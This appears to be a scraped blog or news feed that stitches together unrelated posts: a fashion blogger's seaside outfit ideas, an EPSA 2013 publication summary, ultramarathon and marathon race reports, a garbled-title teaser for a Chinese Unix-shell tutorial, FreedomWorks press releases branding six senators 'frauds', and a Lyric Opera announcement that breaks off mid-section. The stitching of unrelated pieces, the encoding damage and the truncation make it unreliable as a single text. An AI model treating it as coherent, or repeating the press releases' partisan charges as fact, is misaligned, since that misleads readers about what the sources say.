    Lucky for me, my birthday is coming up next month, and I'm hoping that my boyfriend will whisk me away to the quiet, secluded shores of Brighton on a blustery spring day, to share huge clouds of pink candy floss and throw pebbles into a foamy, wind-whipped sea. Therefore, my head is currently full of the dancing images of lilac vintage day dresses, little candy-coloured knitted tops and sweet white mini skirts worn with sixties swing coats and pale, dainty plimsolls. Here are some of the images from the oh-so-pretty Glamour shoot now adorning my dining room wall, along with some of the sweet, sixties-inspired items that I am just longing to fling on for a skip through the whirring lights of amusement arcades. Be inspired to dip a toe into the not-so-chilly sea of cute, transitional winter-to-spring sea side chic, and remember to, above all, have a pretty day...    









      Images from Glamour magazine (on my magazine wall!)




    Keep the sea breeze at bay with these snuggly vintage coats from Rokit.com


    Look like a stick of Brighton rock in these pretty pieces from Rokit.com





    Stock up on shoes, socks and iced gem tops from Topshop.com
              Windswept Meadows and Mermaid Vibes        
    Having fallen fully in love with Topshop's Snake Valley collection, I have been filled lately with the desire to throw on a fringed kimono over a tye-dye tee, add heaps of sparkling turquoise jewels and gold gypsy- style chains, shake down my hair, dance through the pine-scented forests and run in open fields beneath a flaming pink sky. This seems like a perfect plan, apart from a few teeeeny drawbacks. Firstly, the sky here is currently more of a dark, menacing grey or just an open, freezing white than flaming pink, and I don't think there are any pine forests in my neck of the woods, and if there are , the air is not warm and summery and sweetly scented. It's more icy cold and full of those little flecks which you're not quite sure weather are rain, snow, or something in between. Here lies my problem. My head is full of warmth, summer rain, bare feet in the sand and dream catcher earrings. The English weather,on the other hand, calls more for wooly hats, scarves and furs. Oh-and don't forget brollies. If it rains in the summer while you're camping by the sea, you can just stroll through the downpour, (in theory) letting the pretty rain drops fall all around you, adding to the wavy beachy-ness of your tousled do. If it rains in winter, however, you simply freeze.

    So, to avoid this problem (sort of), I decided that I could work the look with added layers of knitwear, my fur coat, chunky winter boots and black opaques. Therefore, I decided to treat myself to a new outfit from Topshop's Snake Valley collection, which I can wear in the summer but which can also be styled up for colder weather. Another thing I've been dying to try for a while now is coloured streaks in my hair. I used to wear pink spray-in streaks when I was fifteen and I loved it, and have always secretly hoped I'd be able to rock them again one day without looking like a fifteen-year old circa 2004. Just lately, colourful cartoon-esque wigs have been seen on everyone from Katy Perry to Nikki Minaj, and coloured streaks were worn in the models' hair in the Topshop SS 11 campaign. Not to mention my beautiful friend Bee, who has been working electric blue streaks for as long as I've known her, and has now moved on to shocking purple (you go girl!) Every time I see a new celeb rocking a bright colbolt wig or pastel pink do, I fall in love with the look a hundred times more. I decided that my favourite colour, pink, wouldn't quite work with my red hair (although I will still give it a try!), so I decided on blue as the perfect compliment for my amber locks. Today, I headed straight for boots to buy my 'Azure Blue' coloured hairspray. Yay!     

    Just to make me adore this look even more- to me, blue and green ocean hues worn in beachy, mussed- up hair scream 'mermaid'. Ever since I can remember, I have always had a strong fascination with these imaginary beauties of the sea, and have always been enthralled by the ocean. It may have started with Disney's 'A Little Mermaid.' Nothing can inspire me quite the way the ocean can- the sound, the smell, the atmosphere that seems to hang around it, it's hypnotic, compelling, powerful beauty. Being near the sea makes me want to write about it, paint it, draw it, take pictures of it...and basically just become a mermaid. But seriously, I once read a book when I was eleven, called 'Daughter of the Sea', by Berlie Doherty. I found it in the year six book box at school, and fell in love with the first line. It begins: 'My tale is of the sea.' Wow. STILL gives me chills. Anyway, I hungrily devoured the book within a matter of hours and begged my mum to buy it for me, which she did. I still read it every few years. The story is about a little girl who is a Selke- a seal who can shed her silken skin and walk upon the land as a human. However, the sea will always run in her veins. Selke's feel the very ebb and flow of the tide within them, whenever they are on land, they long with all their hearts for the sea. One night, a childless fisherman, caught in a hideous storm, sees a baby in the water, thinking she must have come from a wreaked ship, and that she will surely be dead. The man fishes the child from the sea, finding that she is alive and well, and takes her home to his barren wife.  The wife is overcome with joy, and together they raise the sea-child as if she were their own, always afraid that one day the sea will claim her back. They name her Gioga, after the name of a sea-princess from a folk-tale. The narrative is woven with local myths and stories and tales of the sea in the far North of England, and the language itself seems to imitate the rushing sound of the tide, and whisper to you of shells and ships and Selkes and ship-wreaks. Ever since then, the sea has lived inside my head. The haunting tales and startling imagery of jagged black rocks and ferocious towers of sea spray  have stayed with me, and are called instantly to mind when ever I am near to the ocean. Seriously, EVERYONE should read this book.

    Anyway, before I go any more off tangent, I think that blue-streaked, mythical hair really adds a mermaid-y, sea-princess vibe to the snake valley look, and gives it that little touch of under-water magic. Here are some photos which capture the blue hair/mermaid vibe I am SO into right now:
        Katy Perry
    STUNNING picture that I found when I googled 'mermaids'.
    Amber Rose carries off the trend with a hip-hop edge
     
    Serious mermaid vibes. Oh GaGa, how I adore you.
    The oh-so-fabulous Nicki Minaj. She amazes me with both her music and her style.
    Found this when I googled 'blue hair.' Wow. Words cannot describe...

    I cannot tell you how much I LOVE this look. Am I brave enough to try it..? Hm, maybe only in celeb-land!


    My gorgeous friend Bee!

    So, moving on, here are some pics of me modeling the Snake-Valley/ mermaid look in a local park/woodland area. To my extreme happiness, my boyfriend has just bought an amazing new camera, as I've wanted a really decent camera to take professional pictures for this blog for absolutely forever. Unfortunately, neither of us knows the first thing about photography or how to use this amazing camera at the moment- but we are going to try and find out. We're hoping to take a short photography course, and still need to attack the manual (which is like a textbook) so please forgive the extreme amateur-ness of these photos- I just couldn't wait to give it a go and have an experiment! I hope you like them!

     
    Love and kisses, The Porcelain Princess xxx
              Weathering the Storm: Creative EPSA Solutions in a Time of Crisis - by Julia Bosse, Michael Burnett, Alexander Heichlinger, Claude Rongione, Harrie Scholtens        

    The economic storm faced by European public administrations continues unabated. Budget cuts and austerity measures coupled with unpleasant tax increases have been extensively applied, though they have not always delivered the expected results.

    Difficult choices lie ahead for Europe’s public sector in order to stabilise public finances, while continuing to deliver the services needed more than ever by an increasing number of citizens as a result of the economic pressure. Trends over time which exacerbate such pressures are unlikely to be reversed in the medium term.

    The EPSA 2013 edition has collected a rich harvest of 230 solutions from across all levels of public administration and from 26 European countries and EU institutions, which can all be proud of their achievements and also showcase how they are dealing with these challenging times.

    This publication aims to sketch out the trends, ideas and solutions in the various creative public management and service reforms on the one hand, whilst pinpointing common elements or obstacles in their delivery – The Research Part. Key findings, among many others, include active strategies to promote economic growth, the ability to enhance social inclusion, the use of transparency as a means to promote better governance, or the smart deployment of ICT to boost trust in government and improve service delivery.

    On the other hand, the best and top-ranked 47 practices (15 nominees and 32 additional best practice certificate recipients) are subsequently described, allowing the reader to not only get an idea of the innovation and drivers behind the cases, but also to directly contact the owners behind the applications in order to encourage the learning and transfer potential. These outstanding public achievements span sectors such as economic and urban development, sustainable development, justice and police, education and training, sports and youth, public health, social media, and human resources management. This part – The Catalogue – is supported by data and statistics on the applications (e.g. type, country, size, fully or partly EU co-financed).

    In a nutshell, the EPSA 2013 book demonstrates – again! – how the public sector has tried to resolve the various urgent challenges linked to the current crisis, by combining creativity and sustainability, accompanied by an often needed passion in their solutions.


              VOYAGEUR 50 MILE TRAIL RUN RACE REPORT        

    On Saturday I finished my 7th Voyageur 50 Mile Trail Run. Voyageur is really a special race. Even though the race grew by over 100 runners over last year, to 340 starters this year, it still has the small home-town feel as well as a family feel.  The first year I ran Voyageur in 2004, there were 85 starters!  Yes, 85. I know so many of the people who run Voyageur or who are volunteering , it is just like an ultra family reunion.

    I stayed with Jean and Jody. Jody would be running her first 50 mile race! Woot!

    We stayed at Black Bear Casino. It was clean, it wasn’t very noisy, but oh man, the smoke!  I hadn’t thought about the fact that Casino’s allow smoking. Ugh. Our room was ‘smoke free’ but the cigarette smoke penetrated the non smoking room.  I won’t stay there again.

    Race morning was beautiful, 48F with  a promise of mid 70s with clear skies. The promise didn’t disappoint!

    At the start there were so many friends!  Hugs, kisses, photos, it was like a family reunion.  I dropped a few Ziplocs off at the drop bag stations incase I might want to use gloves or spikes through the powerlines. I never did need them.

    Greg and I were going to run the first few hours together. He felt he went out too fast last year and wanted to hang with me as I don’t go out to fast. Ever. I just don’t go fast period.  We ended up running the first two hours together. It was so great to hear about his trip out West to crew/pace Bob while running and finishing HardRock!  The miles went by quickly.

    There were a few bunch ups along the first section out to Jay Cooke and the swinging bridge. I don’t recall this in the past. There was some mud, some water and a few rocky climbs. It was holding people up. We stood around and waited. No rush!





    After running over the swinging bridge we came into Aid Station 1. Woo!  It is so much fun to run along and see friends volunteering. With so many aid stations I really have to watch the clock to make sure I’m not spending too much time visiting! There were 9 aid stations, which you hit twice which means loads of time to spend hanging about talking. I just have so much fun though and love these people so much. I can’t help myself.

    Shelly was there with Greg’s bag, switching out bottles, asking what he needed. I had a full Nathan vest on so didn’t need anything. It was getting warm and humid. We moved on through and began the run toward the powerlines.

    When we ran into Aid Station 3, Peterson’s, I had a Ziploc bag there. I grabbed my gloves from the bag just incase I needed them for grabbing vegetation to hold onto while climbing the powerlines, if they were muddy and slick. Rick was  pouring water and was going to fill my pack while I still wore it upon my back. All was going well until he dropped the pitcher of water. BRRR!  Down my back/butt it went. It was freezing!  We had a good laugh and off we went!

    The miles were going by quickly. We were going to be heading into the powerlines soon. Guess who we run into, Andrew and Ed!  So funny. We have a little game going on this year, since Psycho Wyco.  They are in front of me, I catch them, they try to beat me to the finish. They succeeded at PW, not at Chippewa, and now at Voyageur. So much fun, really!!  I couldn’t contain my laughter and smiles.

    Aid Station 4 Grand Portage, entry to the powerlines. As I was running  toward the station I spied Jean on her bike!  It was so good to see her and get a hug. She was there to support Jody and thought she should be coming in soon. She took a few photos, I emptied my gels, mixed a bottle of UCAN as was on my way.




    The powerlines weren’t muddy! I didn’t need the spikes or the gloves. I was able to climb them just fine and pick my way down. Greg had some nifty poles, I might look into a pair. After we climbed the first few powerlines I asked Greg if he’d like to go in front of me as I was picking my way along more slowly and looked like he could really move. He went off ahead and I didn’t see him again until I was coming into the turnaround,  as he was about two miles ahead.  He was moving well!

    As I was climbing along I ran into Casey, who I haven’t seen since Superior 100, 2006, I believe. We talked and laughed, caught up a bit. It was so good to see him again.

    I felt really great. My legs felt strong, my breathing was good, no problems, I was so thankful to be able to do this race, to spend a long day in the woods. I gave thanks. I thought about how fortunate I was to be able to do this. I really love it.

    Before I knew it I was out of the powerlines and running toward yet another aid station. Amazing. They were all over the place. Wearing my vest was overkill. I really only needed a handheld bottle, which is what I normally use. With Superior 100 on the horizon, a vest is a practice measure.

    I began to run alone. Even with over 300 people on the trail we had spread about and I enjoyed the solo time. I was taking care of myself, consuming salt tablets, nutrition and plenty of water. I wasn’t in any pain. I was just smiling, spending time in the moment, feeling joy. I hadn’t even thought about  listening to music.

    I was coming in on Fond du Lac and knew that Doug and Maria would be at this station. I couldn’t wait!  I ran in and saw all of the ducks that Todd had placed in the water. So cute!  Big blow up duckies. What a treat!  I hugged and caught up with Maria for a few minutes, congratulated her on NeverSummer 100K and then had to get a move on.  I ran through the water, petted a blow up duck and hit the trail.

    Becks Road was coming up next. UMTR aids this station so I knew I’d see many friends there as well. As I came in there were many hugs and photos. Matt, Amy, Willow, Rob, so many that I am not listing because I still have ‘ultra brain’. Rob asked me to try a pickle. I did, it was really good!  I had a few cups of Coke and headed across the road. Good times!

    I felt like I was running from one group of friends to another group of friends; strung together by a wonderful trail.  This was really great.

    The woods were beautiful. There had been plenty of rain this summer, everything was green and lush, most of the horse holes were filled in with thick grass and running was pretty easy. I was keeping my heart rate under 140 without a problem, running about an 11-12 minute mile most of the time. I was going to be running into Skyline Parkway next and knew that I had a drop bag there. I could get rid of the spikes I had been hauling and the gloves. Shelly was going to drop my bottle here, too, so I could mix another bottle of UCAN. The UCAN, a few gels, some watermelon and Coke seemed to work well for me.

    The water crossing were not real deep, but deep enough to cool my feet. I couldn’t believe I didn’t feel any blisters yet. This year I haven’t had any blisters at all.  This may be due to the Altras I’ve been wearing. I usually have at least some hot spots.

    I came into Skyline and Brook and Mike said someone came through asking if anyone knew Julie Berg. Shelly had dropped my bottle for me!  How thoughtful. They handed it off to me, I dug around in my bag and prepared a bottle of UCAN. I dropped the spikes and gloves, chugged the bottle and headed out. It was so much fun to see everyone. I began to climb the road section, knowing that I’d be at the turnaround soon.

    The cut-off for the turnaround at the Zoo is 7 hours. I figured I’d be there by 6. No problem. The sun was warm now, we were exposed along the road. Much of this part was a climb before heading down into the Zoo. I walked along, climbing climbing climbing. Pretty soon I was at Spirit Mountain. It is so cool to run along the face of the ski hills, looking down at the Lake Superior, looking up at the chair lifts. I enjoyed it so much. As I was running along many of my friends were running back toward me. I love the out and back on this course. I never meet anyone in the powerlines where the trail is narrow. I usually meet the bulk of the runners along the wider paths going into the turnaround. I saw so many friends, stopped to chat, hug, talk, then run along. I couldn’t stop smiling. I felt blessed. I am.

    At the turnaround I spied Jean!  She asked me how I felt so good, how could I be having so much fun? I tried to explain it to her-that I just really, really enjoyed spending the day in the woods, how much I love to run, how great it is to reconnect with friends. I don’t know if I was able to explain this well enough to her. She told me she was expecting Jody soon, I was thrilled!  I filled up my bladder, emptied out a few gel packs, consumed was watermelon and told Jean I had to head out. She took a few more pictures and I began the long climb back up Spirit Mountain.

    I began to notice a feeling kind of like shin splints in my left leg. That’s weird. Maybe it was the walking, climbing out from the turnaround. I haven’t had shin splints for years, I couldn’t really understand the feeling in my leg. Maybe my sock or gaitor was too tight. I haven’t been walking that much. I found that it hurt more to walk than it did to jog, so I began to jog up the hills. That helped for a while.

    I dug out my iPod and figured I’d listen to some music to distract myself. Unfortunatley I think my iPod decided to die on this day. I kept messing with it but couldn’t get it to work. I have had it since 2007!  I asked a guy running along to take a look at it, turns out his last name was Berg, too!  He couldn’t get it to work, he was willing to GIVE ME HIS iPod (really!), then we tried my iPhone in airplane mode. That worked fine, so I listened to music for a while. Thank you Mr. Berg!

    I popped back into Skyline, was happy to get off of the exposed road and ready to hit the trail again. I dug around in my bag, grabbed a few cliff blocks, said hello and goodbye to Brook and Mike and was on my way.

    The trail to Becks Road was quiet!  I only saw a few other people during this time. It was such a beautiful day. I was running well, feeling good, feeling so thankful for this day..and then the left leg would remind me that it was not happy.

    I was beginning to lose the ability to push off with my left foot. It felt stiff. I ran into Becks, had some more coke, thanked everyone and pushed on.

    Maria was coming up next at Fond du Lac so I was going to ask her for advice. I’d get this gaitor off and see what was going on under it. When I looked down at my leg it looked a little bit swollen, but none more than usual after 30 miles..you know?

    I came into the aid station and asked if I could sit in the chair. I never sit in the chair!  I plopped down and told Maria and Doug I had to get my gaitor off. Maria asked Troy to retrieve her BioFreeze. I told  her I felt like I had a shin splint or something. I was was flexing my foot up, feeling my shin, I told her it felt like tendonitis. She removed the gaitor, I told her to throw it away. She placed it into a baggie and said she’d wash it and maybe she’d sell it on EBAY. How much can we get for a Julie Berg gaitor she asked? It was hilarious. I sat there laughing! The BioFreeze felt good, I got up and was able to walk ok. Maria walked me out of the aid station and off I went!

    The next section has some crazy climbing with ropes going up hills to grab, now I’d be going down very steeply. I knew this could be rough without any flex in my foot. I tried to keep it steady as I took teeny tiny steps down the steep downs. Ouch. Now it hurt. What the heck? Shin splints are dumb. Go away.

    I moved on, still found that running felt better than walking so jogged the uphills and picked my way down them, trying not to flex my foot. I decided to take a few Advil to see if that would take the edge off. It didn’t. That kind of concerned me.

    The course flattened out a bit, I was able to run pretty well in sections before climbing back through the powerlines. I knew it would be difficult with this stiff foot hanging behind me. I just couldn’t flex it. I never thought that this might be anything more than soreness from shin splints, a bit of tendonitis. I knew that shin splints go away pretty much as soon as I’m done running, I’ve had them before.

    I found that I could still run downhill pretty well. There were long long downhills that I was able to run along pretty quickly, again passing Ed and Andrew. Ha!  Good times!  I really was having a blast and kind of tucked my pain away into another crevice of my mind. I just wasn’t going to think about it.

    The powerlines were pretty warm now. Climbing was great, coming down was a bit difficult without flexing my foot. Oh well. It wasn’t too bad. It was getting real warm. The powerlines are exposed so I was heating up. I took a few more salt tabs.  Drank some more water, began to think about Coke  at Peterson’s!  I was only about 10 miles from the finish.

    I came into Peterson’s, so excited for Coke!  I drank 2 cups, had a gel, knowing the sugar and caffeine was going to be like rocket fuel for me. It was. I was able to really run quickly on the flats, enjoying the experience.

    Jay Cooke!  I couldn’t believe that I was at the final aid station. I gave out hugs and thanks, drank some more  Coke and ran across the bridge. I was really excited I was going to finish around 13 hours with this leg thing which had held me back.  The last section is the most difficult for me. Not so difficult at the beginning, miles 1-3, but difficult at the end, miles 47-50. It is rocks, roots, steep scrambles over boulders and just painful. It also feels like it goes on forever.

    I kept smiling, knowing I had almost made it. I moved very slowly, all of those people that I had passed were passing me now. Even Ed and Andrew came along. I had to laugh, told them I’d see them at the finish. Now I was getting concerned, I was dragging my foot along, it was not letting me move it at all. What the hell?

    I had to scooch down onto my butt to get down some of the rocky ledges, trying to hold my foot straight. My shin was pretty swollen now. What in the world. Dumb shin splints. I finally came up to the bridge, walked across the bridge and up onto the bike path. I tried to run and couldn’t even run on the bike path. Hmmmm….not good.  My foot was not having it. Another person passed me. Oh man. I grimaced and kept on.  I made the turn and could see the finish line!

    Oh happy day!  I blocked out the pain and jogged toward the end. I could hear all of the bells, the Julie Bergs!, the clapping and cheering. So much fun!  I crossed the finish line in just over 13 hours. Thank goodness!!  Jean and Jody took pictures; Jody made it to 40 miles before she was pulled-her longest run!!! So awesome!! She felt good! Big hugs for all of  my friends, Greg finished in 12 something, was doing well, it was one big party. I feel so grateful to be a part of this community, it really is special.




    I visited for an hour or so and decided to head for home. I have about a 2.5 hour drive. I had some cramping on the way, didn’t stop, I knew I wasn’t going to be able to walk on my foot, it felt stiff.



    Sunday my leg was red and swollen. I hobbled around, able to make it to Church and grocery shopping. Monday I couldn’t place weight on it.  Red, swollen, intense pain. I was sure it was broken now. How could have I run on a broken leg? Did I cross that damn line again between fun and injury again? No way. It didn’t feel that bad at the time. I thought it was a shin splint. Or tendonitis. Ugh.

    I went to the clinic on Monday and learned I have a thing; cellulitis, a skin infection. The MD diagnosed it right away. I told him I really thought I broke something. Nope, it’s a skin infection. He drew a line around the red swollen area and told me if it grew out of this line I needed to go to the ER. He prescribed antibiotics that I’ve been taking for three days now. The redness is gone. I still can’t walk on it, can’t place any weight upon it which seems odd to me. The swelling is going down. I’m unable to flex my foot.  I can’t help but think I have cellulitis AND a fracture. It’s very painful. The MD doesn’t believe the run had anything to do with the infection. The infection just came out while I was running. If it had come out a day earlier I wouldn’t have been running. Very strange.

    Oh well, I otherwise have felt great after this race. No muscle soreness, no blisters, no other pains. Awesome recovery. I guess I was in pretty good 50 mile shape! 













              Grandma's Marathon        
    -->




    Late last year when I read that Grandma’s Marathon would be celebrating its 40th Anniversary I knew that I had to enter the event. I had run 49 marathons; Grandma’s had been my first-back in 1998 and would be my 50th marathon. I have run 11 Grandma’s Marathons.

    With a few 50Ks earlier this year, Psyco Wyco in February and Chippewa in April, I wasn’t too concerned about training for a marathon. I and my friends, Heidi and April, began to run each Tuesday after school, on pavement, so I was getting my legs used to the asphalt. I ran a few 20s and a 30 on asphalt and felt good. So good, in fact, that I decided to enter FANS 24 hour run. I changed my mind, a week before FANS, as I was feeling some neuroma pain in my ‘good’ foot. I knew my foot would hold up for a marathon on asphalt but rethought the 24 hour business.

    Heidi has relatives who live exactly on Mile 22 of the course, on London Road, on Lake Superior, right at the base of Lemon Drop hill. What a location !  Her relatives opened their home to 16 of us. Seriously. We weren’t even cramped!!  They were the most hospitable, welcoming, warm people I have probably ever met.

    Friday 4 of us rode together and rolled into the Expo about 4. I actually ran into people that I knew just by chance. It was a blast. I messaged Kim and we met up for a quick hello. So much fun to see good old friends.  



    We made our way to our hosts’ home for a dinner they prepared. Spaghetti, meat  sauce, various salads, fruit, breads, a real banquet.  We walked around the property, checked out the lake, the beautiful home and the lot. I was first to bed, at 830PM.  That’s me!

    At 430 I awoke, without an alarm, this is my regular wake time. I dressed and got myself ready for the day. I went up hoping for coffee and of course, our hosts had coffee brewing. Incredible.

    The others began to filter into the beautiful 4 season sun room. We had breakfast and checked out the weather. A gorgeous sunrise was showing itself over Lake Superior, right in the back yard. It was amazing. The forecast had called for rain/thunderstorms but that was not going to happen today. I certainly didn’t think it was going to be a black flag excessive heat warning, as it was!

    For breakfast I had a sweet potato, avocado, coconut manna bowl. I sprinkled half a scoop of UCAN over it. Delish. My new pre race/long run meal for days I have time for digestion.

    Since February I have been training using a low heart rate-140 (Phil Maffetone) or below-and have been adding more fats to my diet, in an effort to be able to burn more fat while running, not being so dependant upon gels. This gel every 30 minutes has become tiresome. (Superior 100) Also, the 140 HR allows a speedy recovery for me. Tracy  has been helping me to train in this manner the past 4 months. I’m loving it!

    We were only down the hill from The Edgewater, where the busses were delivering runners to the start. We grabbed all of our stuff and were off. We rode the busses to the start and were ready to rock and roll!

    Riding the bus to the start I couldn’t help but recall previous Grandma’s Marathons that I had run. My first. The one I ran with Dad. My family waiting on London Road. All of the friends I have met. So many memories.


    As I was walking to the bag drop off I ran into so many people that I know from running. I wasn’t looking for anyone, but yet I saw Kelly, Jim, Shelly, Doug, it was crazy. 10,000 people and again I am running into others that I know.

    I removed my sleeves, it was already warm, it was going to be a toasty day. There wasn’t a breeze, either.

    The herd began to move toward the starting line, here it was, my 50th marathon!

    I kept my heart rate at 140 or below the whole way. The heat caused it to rise a few times. I noticed the black flag warning of excessive heat at about mile 10. I then drank, grabbed a sponge at the aid stations and walked until it came back down to 140. Only a few steps, and back down it went. I wasn’t going to push it.

    During the race I used a scoop of UCAN at mile 18, I had a strawberry and orange slice during the race that was handed out.

    At about mile 11 I was running along and pretty soon Scott was at my side!  What a nice surprise!  He and Greg were running together. We gabbed for a while and then they were running too fast.; I looked at my HRM and told them to have a good race, I was staying at 140. That was my plan.

    At mile 19 I began to look for Kim, it was so great to see her and Barry. Hugs. I was ready to move on. At mile 22 I stopped to say hello to our hosts, then up the hill I climbed, onto the finish line.

    I was getting warm. It was toasty. I saw the 445 pace time pass me, I was ok with that. My first marathon and slowest marathon was 459. I felt that this 50th marathon would probably be about the same. I was happy with that. I only wanted to finish healthy. My feet didn’t hurt at all, nothing hurt. I was in a good place, albeit it a bit warm.

    I thought about the 18 years that have passed since I first ran this marathon. I thought about my family, the friends that I have made, the sobriety I have kept, all of the lift changes…running has been a constant.

    I am truly blessed. I crossed the finish line with tears in my eyes and a smile on my face. 4:50.  I felt fantastic! 





              51K Birthday Run for 51 Years!!        





     I watched the border collies play for a long time. I miss Topaz so much.


    I know!  51!  How in the world did that happen? Time truly does go by way too quickly. I haven't yet realized that I turned 50 last  year. Crazy!

    Last year at this time I was having foot surgery. I am so glad that is in the past!  My foot feels great. I have begun to feel little twitches of neuroma in my other foot, but it is very very minimal.

    A fat ass run was scheduled for January 2 so I thought I'd run my birthday run at that time. The course was awesome. We ran at Elm Creek Singletrack in Maple Grove at the Elm Creek Park. What a fabulous trail. If you recall, I ran the Grizzle Run r there a while back during the summer which was a blast..the trails in the winter are just awesome!  The fat bikes come through and totally smooth out the snow, making the surface fabulous. I'll be back this next weekend to put in a few long runs.


    A little frosty!

    We began at 6 AM at the trailhead. Many were running the 11 mile route, a few were running the 50K, I was making up my 51K.

    I ran the first few miles with Therese. We caught up with one another and then I had to make a pit stop. I didn't run with anyone else the remainder of the 7 hours!  We were pretty spread apart and I never really saw anyone else.  

    The weather was perfect. 10F, sunny, nice snow packed trails. Lovely. After the first 11 mile loop my water hose was becoming solid. I stopped off at my car and heated it up until the water flowed through. I hopped out of my car and there was Shelley!  What a coincidence. She was out running 7 miles and we just happened to be in the lot at the same time. Fun!

    I headed out for loop 2. I came across a pile of gels. There were unopen, 8 of them strewn about the trail. I kind of nudged them off of the trail and placed them all in a neat circle. I hoped that someone would claim them as their own as they came through again. I didn't see them on loop 3. As I was running along I could hear dogs barking. It was the sound of dogs barking while having fun, not in distress. I took a detour and ran toward the barking. Sure enough, I came up on Elm Creek Dog Park!  It was great. Border Collies playing frisbee, Goldens' playing fetch. I just stood there with tears in my eyes, thinking of how much I missed Topaz.

    I jogged back to the trail and finished up loop 3. I just felt so grateful to be able to run again. To be able to enjoy the woods, the snow, to be pain free. It was really a great 33 miles. My feet didn't hurt me, I  just had a real blast. What a magical day.
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              ç”¨ C 语言写一个简单的 Unix Shell(2)        

    在第一部分中我们讨论了 fork 系统调用以及它的注意事项。在本文中,我们将研究怎样执行命令。

    用 C 语言写一个简单的 Unix Shell(2),首发于文章 - 伯乐在线。


              FreedomWorks Presents FreedomFraud Awards        

    FreedomWorks today announced the FreedomFraud Award winners for this year: Sens. Rob Portman (R-Ohio), Lisa Murkowski (R-Alaska), and Shelley Moore Capito (R-W.Va.), Sen. John McCain (R-Ariz.), Sen. Dean Heller (R-Utah), and Sen. Lamar Alexander (R-Tenn.). This is the counterpart to the FreedomFighter Awards.

    The FreedomFraud Awards recognize the height of political fraud by senators who voted to defend ObamaCare by voting against a bill virtually the same as one they supported less than two years ago. While protected by Barack Obama’s veto, they supported ObamaCare and railed against it. Now that President Trump supports the bill, they have exposed themselves as political liars.

    FreedomWorks Vice President of Legislative Affairs Jason Pye delivered the awards to senators’ offices Friday afternoon. You can see an archived live stream here. Eligibility for the award is based purely on whether senators campaigned on repeal and voted for this bill less than two years ago and opposed it when it could have passed.

    “These people committed the greatest political fraud in American history,” said Jason Pye. “Republican politics has focused on repealing ObamaCare for the better part of a decade. There were frequent votes to repeal ObamaCare. These senators showed great contempt for their constituents by going against everything they’ve stood for on ObamaCare repeal.”

    After the 2015 bill passed, Sen. Rob Portman (R-Ohio) said, “I'm for repealing this broken law and replacing it with something better that gives patients more choice, decreases costs and increases access to quality, affordable care.”

    After the 2015 bill passed, Sen. Lisa Murkowski (R-Ala.) said, “This law is not affordable for anyone in Alaska. That is why I will support the bill that repeals the ACA and wipes out its harmful impacts. I can’t watch premiums for Alaskans shoot up by 30 percent or more each year, see businesses artificially constrained, or see the quality of public education decline.”

    After the 2015 bill passed, Sen. Shelley Moore Capito (R-W.Va.) said, “I am glad that a repeal bill will finally reach the president’s desk.”

    Sen. John McCain (R-Ariz.) said, “It is clear that any serious attempt to improve our health care system must begin with a full repeal and replacement of Obamacare, and I will continue fighting on behalf of the people of Arizona to achieve it.”

    Sen. Dean Heller (R-Nev.) said, “This DC bureaucrat-driven healthcare system will only result in limited health care choices and higher costs for Nevadans.”

    Lamar Alexander (R-Tenn.) said , “The wisest course is to repeal Obamacare and replace it step by step with solutions that lower health care costs.”


              Six Senators Perpetrate One of the Biggest Political Frauds in American History        

    FreedomWorks President Adam Brandon released the following statement after the Republican-majority Senate voted to save ObamaCare:

    “Our activists have fought for the better part of a decade, led on by campaign promises and actual votes to repeal ObamaCare, to get Republican majorities in the House and Senate, as well as a Republican in the White House. Sens. Dean Heller, Lisa Murkowski, John McCain, Rob Portman, Shelley Moore Capito, and Lamar Alexander each voted for the very same bill in 2015.

    “We now know that these six senators are ObamaCare repeal frauds. Even though we’re still wondering if Sen. Susan Collins is in the right party, at least she was consistent with her vote.”

    Here are quotes from a few of these Senate Republicans who have heavily criticized ObamaCare and today voted to keep ObamaCare as the law of the land.

    Sen. Lamar Alexander (R-Tenn.): “The wisest course is to repeal Obamacare and replace it step by step with solutions that lower health care costs.”

    Sen. Shelley Moore Capito (R-W.Va.): “I have consistently voted to repeal and replace this disastrous health care law, and I am glad that a repeal bill will finally reach the president’s desk.”

    Sen. Dean Heller (R-Nev.): “This DC bureaucrat-driven healthcare system will only result in limited health care choices and higher costs for Nevadans.”

    Sen. Lisa Murkowski (R-Alaska): “This law is not affordable for anyone in Alaska. That is why I will support the bill that repeals the ACA and wipes out its harmful impacts. I can’t watch premiums for Alaskans shoot up by 30 percent or more each year, see businesses artificially constrained, or see the quality of public education decline.”

    Sen. John McCain (R-Ariz.): “It is clear that any serious attempt to improve our health care system must begin with a full repeal and replacement of Obamacare, and I will continue fighting on behalf of the people of Arizona to achieve it.”

    Sen. Rob Portman (R-Ohio): “I'm for repealing this broken law and replacing it with something better that gives patients more choice, decreases costs and increases access to quality, affordable care.”


              Lyric Opera Announces its 2017-18 Resident Artists        

    General Director and CEO Deborah Sandler has announced the selection of the artists for the Resident Artists Program for the 2017-2018 season. They include: soprano Marlen Nahhas, mezzo-soprano Lauren Auge, tenor Martin Luther Clark, baritone Tim Murray and coach/accompanist James Maverick. Led by Vinson Cole, UMKC Conservatory of Music and Dance faculty member and one of the leading artists of his generation, they will perform in various roles throughout the 2017-2018 season on the mainstage at the Kauffman Center for the Performing Arts as well as at community outreach and education events. The artists were selected after a rigorous national audition of more than 350 singers.

    During their Residency, in addition to appearing in mainstage roles, the Resident Artists will work with visiting guest artists, conductors and directors, participate in master classes, receive career coaching, study leading roles, make musical appearances in the community, and appear in their own intimate musical performances as a part of Lyric Opera of Kansas City's Explorations Series, which will focus on intimate gems of the vocal music repertoire. The Resident Artists have completed their post-graduate education and have some professional experience. The Resident Artists will have a full time 8-month contract for one to two years.

    Meet the Resident Artists

    Sun., Sept. 24, 2p

    Michael and Ginger Frost Production Arts Building

    Lyric Opera audiences will have an opportunity to meet the Resident Artists on Sunday, September 24 at 2p at the Michael and Ginger Frost Production Arts Building for an informal afternoon 'salon'. Through conversation and musical selections including arias, art songs and show tunes, audiences are invited to sneak a first peek at the quartet and pianist who will grace the main stage and our Explorations Series presentations throughout the season. The event is FREE. Seating is limited and RSVPs are required. For ticket information, visit kcopera.org or contact Lyric Opera Ticketing & Patron Services at (816) 471-7344.

    "We launched the Resident Artists Program last year and it has been an unqualified success," stated Sandler. "We join the international opera community in the training of talented, emerging professional young artists. This professional development program involves performance experience and the ability to work with our field's leading conductors, directors and principal artists. Our audiences have embraced our young artists and have been touched by them in a surprising number of ways. I look forward to another season of productive and engaged experiences."

    The program was made possible by a generous donation from the Estate of Richard Hill, Charter Sponsor of the Resident Artist Program.

    About the Resident Artists

